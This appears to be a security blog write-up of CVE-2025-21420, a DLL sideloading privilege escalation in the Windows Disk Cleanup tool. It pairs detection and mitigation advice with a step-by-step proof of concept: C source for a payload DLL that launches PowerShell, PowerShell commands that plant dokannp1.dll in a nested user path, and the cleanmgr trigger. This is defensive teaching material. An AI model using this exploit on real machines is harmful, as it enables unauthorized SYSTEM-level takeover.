CVE-2025-21420 PoC: Windows Disk Cleanup Privilege Escalation

Local privilege escalation flaws remain among the most dangerous post-exploitation attack vectors in Windows environments. Once an attacker establishes an initial foothold as a low-privileged user, bypassing User Account Control (UAC) or achieving full administrative context is their primary objective. CVE-2025-21420 represents a critical elevation of privilege vulnerability in the Windows Disk Cleanup utility (cleanmgr.exe) that allows adversaries to achieve complete NT AUTHORITY\SYSTEM execution through precision DLL sideloading.

Assigned a high-severity CVSS score of 7.8 and patched during Microsoft’s February 2025 Patch Tuesday cycle, this vulnerability highlights persistent weaknesses in default dynamic link library search paths. Security teams and defensive engineers must understand the underlying mechanics of this exploit to identify unauthorized file placement and harden endpoint configurations against living-off-the-land techniques.

Understanding CVE-2025-21420 and cleanmgr.exe

The native Windows Disk Cleanup tool (cleanmgr.exe) has historically operated as an automated administrative utility designed to purge temporary files, clear system caches, and free physical drive space. Because certain cleaning routines interact directly with system-level resources, the process frequently runs with elevated privileges or under scheduled tasks assigned to NT AUTHORITY\SYSTEM.

Under CVE-2025-21420, researchers discovered that cleanmgr.exe improperly validates dependency file locations when initializing secondary maintenance handlers. Specifically, when executed with legacy flags, the utility searches predictable, non-standard user profile paths for third-party driver libraries before falling back to trusted system directories.

For penetration testers analyzing Windows systems from a Kali Linux attack workstation, understanding binary execution paths is fundamental for post-exploitation auditing and payload staging.

The Exploit Mechanism: DLL Sideloading Anatomy

DLL sideloading occurs when a legitimate, signed application loads an attacker-controlled dynamic link library due to insecure search order behavior. Rather than verifying digital signatures or enforcing strict binary paths, the application blindly loads whichever matching filename it encounters first.

In this vulnerability, cleanmgr.exe attempts to load the Dokan user-mode filesystem library (dokannp1.dll). If an attacker plants a weaponized DLL with that exact name inside an abnormally nested user directory, the cleanup utility executes the planted code inside its own process space.

Target Executable: C:\Windows\System32\cleanmgr.exe
Vulnerable Dependency: dokannp1.dll
Attacker Write Target: C:\Users\<username>\System32\System32\System32\dokannp1.dll
Execution Privileges: Escalates from standard authenticated user up to NT AUTHORITY\SYSTEM.

Security Advisory: Privilege escalation research should only be conducted in isolated lab environments or on systems where you possess explicit, documented authorization. Attempting unauthorized DLL planting on enterprise systems violates computer crime legislation.

Step-by-Step Proof of Concept (PoC) Breakdown

The published proof of concept relies on three distinct operational steps: compiling a weaponized surrogate DLL, placing it in the parsed directory tree, and triggering execution through native system flags.

1. Crafting the Malicious Payload DLL

The attacker constructs a dynamic link library where the DllMain entry point executes payload logic upon process attachment. In a compiled C implementation, the logic redirects execution as soon as cleanmgr.exe maps the module into memory:

#include <windows.h>

void DokanMain() {
    // Demonstration payload: Launches elevated shell
    MessageBoxW(NULL, L"CVE-2025-21420 Triggered!", L"Security Audit", MB_OK);
    system("powershell.exe");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Disable thread library calls to optimize execution
        DisableThreadLibraryCalls(hModule);
        DokanMain();
    }
    return TRUE;
}

For seamless execution, the malicious DLL can also export surrogate function stubs that mimic legitimate Dokan API calls, preventing the host executable from crashing during initialization.

2. Planting the Surrogate Library

Because standard authenticated users maintain full write access inside their own user directories, an unprivileged user can create the required path structure without triggering immediate administrative access controls:

# Create nested directory path
New-Item -ItemType Directory -Force -Path "C:\Users\$env:USERNAME\System32\System32\System32"

# Copy payload library into the target location
Copy-Item .\dokan1.dll -Destination "C:\Users\$env:USERNAME\System32\System32\System32\dokannp1.dll"

3. Triggering cleanmgr.exe Execution

With the library positioned, the attacker triggers the cleanup tool using pre-configured profile flags. Running cleanmgr.exe with the /sageset switch instructs the binary to read registry configuration groups and initialize disk modules:

cleanmgr.exe /sageset:2

In automated privilege escalation workflows, attackers can wait for native Windows maintenance tasks to launch cleanmgr.exe under the NT AUTHORITY\SYSTEM service account during routine low-disk-space maintenance sweeps, or invoke scheduled maintenance commands directly.

Forensic Analysis: Tracing DLL Loading with Process Monitor

Security operations centers (SOC) and incident response teams can observe this behavior firsthand using Sysinternals Process Monitor (ProcMon). By applying specific filters, defenders can spot unauthorized DLL search attempts before exploitation occurs.

Launch Process Monitor and configure a filter for Process Name is cleanmgr.exe.
Add a secondary filter for Result is NAME NOT FOUND.
Execute cleanmgr.exe /sageset:2 in your administrative terminal.
Review the event logs: you will see the executable sequentially checking nested user paths for dokannp1.dll before searching C:\Windows\System32\.

When the planted file exists, ProcMon registers a SUCCESS result followed by thread creation events spawned outside the expected Windows directory structure.

If you are staging cross-platform security analysis or forensic scripts on Linux, review our guides on configuring a Linux shell and developing custom Python audit scripts.

Mitigation and Defensive Hardening

Mitigating CVE-2025-21420 requires immediate patch deployment alongside continuous behavioral monitoring across endpoint fleets.

Apply Microsoft Security Updates: Install the February 2025 Patch Tuesday updates immediately. The update corrects DLL search path validation inside cleanmgr.exe and enforces absolute directory references.
Implement Application Control: Use Windows Defender Application Control (WDAC) or AppLocker to restrict unsigned DLL loading from user-writable directories such as C:\Users\*.
Monitor Suspicious File Drop Paths: Configure Endpoint Detection and Response (EDR) agents to detect nested System32 directories created inside user profile roots.
Audit Scheduled Tasks: Inspect existing system maintenance scheduled tasks to identify automated cleanup jobs that execute with elevated privileges.

For organizations tracking enterprise vulnerabilities against national benchmarks, cross-reference these remediation steps with the NIST NVD CVE-2025-21420 advisory.

Frequently Asked Questions

Does CVE-2025-21420 allow remote code execution?

No. CVE-2025-21420 is strictly a local privilege escalation (LPE) vulnerability. An attacker must already possess local code execution privileges or active terminal access on the target machine.

Why does cleanmgr.exe look for dokannp1.dll?

Cleanmgr checks for installed volume management and third-party filesystem extension handlers during disk analysis. If Dokan drivers or user-mode libraries are queried, improper path formatting causes the binary to evaluate user directories.

Will standard antivirus software detect this exploit?

Traditional antivirus scanners may not flag cleanmgr.exe because it is a legitimate Microsoft binary. However, modern behavioral EDR solutions detect abnormal child process creation (such as cleanmgr.exe spawning powershell.exe) and block the execution.

Conclusion

CVE-2025-21420 demonstrates that even mature native Windows components can harbor legacy DLL search vulnerabilities. By planting weaponized libraries in predictable user directories, attackers can subvert legitimate administrative utilities to gain full system control. Implementing timely patches, enforcing application control policies, and monitoring living-off-the-land executions remain critical defenses for enterprise environments.